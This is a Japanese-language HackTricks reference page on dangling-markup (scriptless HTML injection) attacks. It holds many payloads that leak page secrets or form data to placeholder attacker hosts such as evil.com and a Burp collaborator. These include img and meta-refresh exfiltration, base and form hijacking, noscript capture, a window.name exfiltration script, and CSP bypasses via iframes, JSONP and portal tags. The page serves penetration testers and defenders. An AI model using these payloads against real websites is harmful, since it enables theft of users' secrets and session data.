.. | ||
README.md | ||
ss-leaks.md |
Dangling Markup - HTMLスクリプトレスインジェクション
AWSハッキングをゼロからヒーローまで学ぶ htARTE (HackTricks AWS Red Team Expert)!
HackTricksをサポートする他の方法:
- HackTricksにあなたの会社を広告したい、またはHackTricksをPDFでダウンロードしたい場合は、サブスクリプションプランをチェックしてください!
- 公式PEASS & HackTricksグッズを入手する
- The PEASS Familyを発見する、私たちの独占的なNFTsのコレクション
- 💬 Discordグループに参加するか、テレグラムグループに参加するか、Twitter 🐦 @carlospolopmをフォローする。
- HackTricks](https://github.com/carlospolop/hacktricks)とHackTricks CloudのgithubリポジトリにPRを提出して、あなたのハッキングのコツを共有する。
概要
この技術は、HTMLインジェクションが見つかった場合にユーザーから情報を抽出するために使用できます。これは、XSSを利用する方法が見つからないが、いくつかのHTMLタグを注入できる場合に非常に役立ちます。
また、何らかの秘密がクリアテキストでHTMLに保存されている場合、それをクライアントから抽出したい場合や、スクリプト実行を誤解させたい場合にも役立ちます。
ここでコメントされているいくつかの技術は、予期しない方法(HTMLタグ、CSS、http-metaタグ、フォーム、ベースなど)で情報を抽出することによって、いくつかのContent Security Policyをバイパスするために使用できます。
主な用途
クリアテキストの秘密を盗む
ページがロードされるときに<img src='http://evil.com/log.cgi?
を注入すると、被害者は注入されたimg
タグとコード内の次の引用符の間のすべてのコードをあなたに送信します。秘密がそのチャンクに何とか位置している場合、あなたはそれを盗むことになります(同じことをダブルクォートを使用して行うことができます、どちらを使用するかもっと興味深いかを見てください)。
img
タグが禁止されている場合(例えばCSPのために)、<meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?
も使用できます。
<img src='http://attacker.com/log.php?HTML=
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
<meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=
**Chromeは"<"や"\n"が含まれているHTTP URLをブロックします**ので、"ftp"のような他のプロトコルスキームを試すことができます。
CSSの`@import`を悪用することもできます(";"を見つけるまで全てのコードを送信します)
<style>@import//hackvertor.co.uk? <--- Injected
<b>steal me!</b>;
You could also use <table
を使用することもできます:
<table background='//your-collaborator-id.burpcollaborator.net?'
`<base` タグを挿入することもできます。クォートが閉じられるまでのすべての情報が送信されますが、いくつかのユーザーの操作が必要です(ユーザーがリンクをクリックする必要があります。なぜなら、base タグはリンクによって指されたドメインを変更しているからです):
<base target=' <--- Injected
steal me'<b>test</b>
フォームの盗難
<base href='http://evil.com/'>
次に、パスにデータを送信するフォーム(例:`<form action='update_profile.php'>`)は、データを悪意のあるドメインに送信します。
### フォームの盗み取り 2
フォームヘッダーを設定します:`<form action='http://evil.com/log_steal'>` これにより、次のフォームヘッダーが上書きされ、フォームからのすべてのデータが攻撃者に送信されます。
### フォームの盗み取り 3
ボタンは "formaction" 属性を使用して、フォームの情報が送信されるURLを変更できます:
<button name=xss type=submit formaction='https://google.com'>I get consumed!
攻撃者はこれを使用して情報を盗むことができます。
クリアテキストの秘密を盗む 2
最新の言及された技術を使用してフォームを盗む(新しいフォームヘッダーを注入する)ことで、新しい入力フィールドを注入することができます:
<input type='hidden' name='review_body' value="
この入力フィールドは、HTML内のそのダブルクォートと次のダブルクォートの間のすべてのコンテンツを含むことになります。この攻撃は "Stealing clear text secrets" と "Stealing forms2" を組み合わせます。
同じことを、フォームと <option>
タグを注入することで行うことができます。閉じられた </option>
が見つかるまでのすべてのデータが送信されます:
<form action=http://google.com><input type="submit">Click Me</input><select name=xss><option
フォームパラメータインジェクション
フォームのパスを変更し、新しい値を挿入することで、予期しないアクションが実行されます:
<form action='/change_settings.php'>
<input type='hidden' name='invite_user'
value='fredmbogo'> ← Injected lines
<form action="/change_settings.php"> ← Existing form (ignored by the parser)
...
<input type="text" name="invite_user" value=""> ← Subverted field
...
<input type="hidden" name="xsrf_token" value="12345">
...
</form>
noscriptを使用してクリアテキストの秘密を盗む
<noscript></noscript>
は、ブラウザがJavaScriptをサポートしていない場合に内容が解釈されるタグです(ChromeでJavaScriptを有効/無効にするには、chrome://settings/content/javascriptにアクセスします)。
攻撃者が制御するサイトへの注入地点からページの内容を抜き取る方法は、以下を注入することです:
<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>
ユーザーの操作によるCSPのバイパス
このportswiggers researchから、最もCSPが制限された環境であっても、いくつかのユーザーの操作を通じてデータを外部に漏洩させることができることを学べます。この機会に、以下のペイロードを使用します:
<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
<base target='
犠牲者にあなたが制御するペイロードにリダイレクトするリンクをクリックしてもらうことに注意してください。また、base
タグ内の target
属性は、次のシングルクォートまでHTMLコンテンツを含むことにも注意してください。
これにより、リンクがクリックされた場合の window.name
の値は、そのすべてのHTMLコンテンツになります。したがって、リンクをクリックすることで犠牲者がアクセスするページを制御しているあなたは、その**window.name
** にアクセスし、そのデータを抜き取ることができます:
<script>
if(window.name) {
new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
</script>
誤解を招くスクリプトワークフロー1 - HTMLネームスペース攻撃
HTML内に新しいタグとIDを挿入し、次のタグを上書きし、スクリプトのフローに影響を与える値を設定します。この例では、情報が共有される相手を選択しています:
<input type='hidden' id='share_with' value='fredmbogo'> ← Injected markup
...
Share this status update with: ← Legitimate optional element of a dialog
<input id='share_with' value=''>
...
function submit_status_update() {
...
request.share_with = document.getElementById('share_with').value;
...
}
誤解を招くスクリプトワークフロー2 - スクリプト名前空間攻撃
HTMLタグを挿入してjavascript名前空間内に変数を作成します。その後、この変数がアプリケーションのフローに影響を与えます:
<img id='is_public'> ← Injected markup
...
// Legitimate application code follows
function retrieve_acls() {
...
if (response.access_mode == AM_PUBLIC) ← The subsequent assignment fails in IE
is_public = true;
else
is_public = false;
}
function submit_new_acls() {
...
if (is_public) request.access_mode = AM_PUBLIC; ← Condition always evaluates to true
...
}
JSONPの悪用
JSONPインターフェースを見つけた場合、任意のデータで任意の関数を呼び出すことができるかもしれません:
<script src='/editor/sharing.js'>: ← Legitimate script
function set_sharing(public) {
if (public) request.access_mode = AM_PUBLIC;
else request.access_mode = AM_PRIVATE;
...
}
<script src='/search?q=a&call=set_sharing'>: ← Injected JSONP call
set_sharing({ ... })
または、いくつかのjavascriptを実行してみることもできます:
<script src='/search?q=a&call=alert(1)'></script>
Iframeの悪用
子ドキュメントは、クロスオリジンであっても、親のlocationプロパティを閲覧および設定できることに注意してください。 これは、iframe内にあるコードをロードすることで、クライアントに任意の他のページにアクセスさせることができることを意味します。
<html><head></head><body><script>top.window.location = "https://attacker.com/hacked.html"</script></body></html>
これは、sandbox='allow-scripts allow-top-navigation' のようなもので軽減できます。
iframeも、iframeのname属性を使用して、異なるページから機密情報を漏洩させるために悪用される可能性があります。これは、HTMLインジェクションを悪用してiframeを自分自身にiframeさせ、機密情報がiframeのname属性内に表示されるように作成し、その後、初期のiframeからそのnameにアクセスして情報を漏洩させることができるためです。
<script>
function cspBypass(win) {
win[0].location = 'about:blank';
setTimeout(()=>alert(win[0].name), 500);
}
</script>
<iframe src="//subdomain1.portswigger-labs.net/bypassing-csp-with-dangling-iframes/target.php?email=%22><iframe name=%27" onload="cspBypass(this.contentWindow)"></iframe>
詳細については、https://portswigger.net/research/bypassing-csp-with-dangling-iframesをご覧ください。
<meta abuse
meta http-equiv
を使用して、Cookieの設定: <meta http-equiv="Set-Cookie" Content="SESSID=1">
やリダイレクトの実行(この場合は5秒後): <meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />
など、複数のアクションを実行できます。
これは、http-equivに関するCSP(Content-Security-Policy: default-src 'self';
または Content-Security-Policy: http-equiv 'self';
)で回避できます。
新しい<portal HTMLタグ
<portalタグの悪用可能な脆弱性に関する非常に興味深い研究はこちらで見つけることができます。
この文章を書いている時点では、Chromeでchrome://flags/#enable-portals
を有効にしないと、portalタグは機能しません。
<portal src='https://attacker-server?
HTML リーク
HTMLで接続性をリークするすべての方法がDangling Markupに役立つわけではありませんが、時には役立つことがあります。こちらで確認してください: https://github.com/cure53/HTTPLeaks/blob/master/leak.html
SS-Leaks
これはdangling markupとXS-Leaksの ミックスです。一方で、攻撃対象となるページと同じオリジンのページにHTMLをインジェクトする(しかしJSは不可)脆弱性があります。他方で、HTMLをインジェクトできるページを直接攻撃するのではなく、別のページを攻撃します。
{% content-ref url="ss-leaks.md" %} ss-leaks.md {% endcontent-ref %}
XS-Search/XS-Leaks
XS-Searchは、サイドチャネル攻撃を悪用してクロスオリジン情報を抽出することに焦点を当てています。したがって、Dangling Markupとは異なる技術ですが、一部の技術はHTMLタグの挿入を悪用しています(JS実行の有無にかかわらず)、例えばCSSインジェクションやLazy Load Imagesです。
{% content-ref url="../xs-search.md" %} xs-search.md {% endcontent-ref %}
Brute-Force Detection List
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt" %}
参考文献
ここで紹介されているすべての技術とその詳細は、以下でレビューできます:
{% embed url="http://lcamtuf.coredump.cx/postxss/" %}
他に悪用できるHTMLタグはこちらで見つけることができます:
{% embed url="http://www.thespanner.co.uk/2011/12/21/html-scriptless-attacks/" %}
さらに詳しい情報:
{% embed url="https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup" %}
htARTE (HackTricks AWS Red Team Expert)で AWSハッキングをゼロからヒーローまで学ぶ!
HackTricksをサポートする他の方法:
- HackTricksにあなたの会社を広告したい、またはHackTricksをPDFでダウンロードしたい場合は、サブスクリプションプランをチェックしてください!
- 公式PEASS & HackTricksグッズを手に入れましょう。
- The PEASS Familyを発見し、独占的なNFTsのコレクションをチェックしてください。
- 💬 Discordグループやテレグラムグループに参加するか、Twitter 🐦 @carlospolopmでフォローしてください。
- HackTricksとHackTricks CloudのgithubリポジトリにPRを提出して、あなたのハッキングのコツを共有してください。